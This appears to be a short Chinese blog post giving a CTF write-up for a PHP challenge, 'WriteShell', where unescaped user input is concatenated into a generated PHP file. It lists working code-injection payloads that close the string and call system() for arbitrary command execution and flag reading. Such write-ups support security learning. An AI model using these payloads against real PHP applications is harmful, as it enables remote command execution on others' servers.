WriteShell

image

拿到题目后看到,源码

程序会把 cmd 参数拼接进一段新的 PHP 代码中,并随机生成一个 PHP 文件。

关键问题是:

php

. $value .
没有进行任何转义,因此可以通过 cmd 参数闭合原本的字符串,并插入 PHP 表达式。

尝试paylaod:

?cmd=',];system($_GET[c]);//

想把它闭合为:

<?php 
  return ['hacker'=>'',
  ];
  system($_GET[c]);//',];

利用注释//把后面的数组给去掉,手动完成上面的闭合

然而不行!!!

已经先执行了 return。当前 PHP 文件会立即结束,后面的:

system($_GET[c]);

永远不会执行。

正确的payload为:

?cmd=',system($_GET["c"])];//
或者
?cmd=',system('cat /fla*'),'

image

posted @ 2026-08-10 11:11  Dragon_Roar  阅读(10)  评论(0)    收藏  举报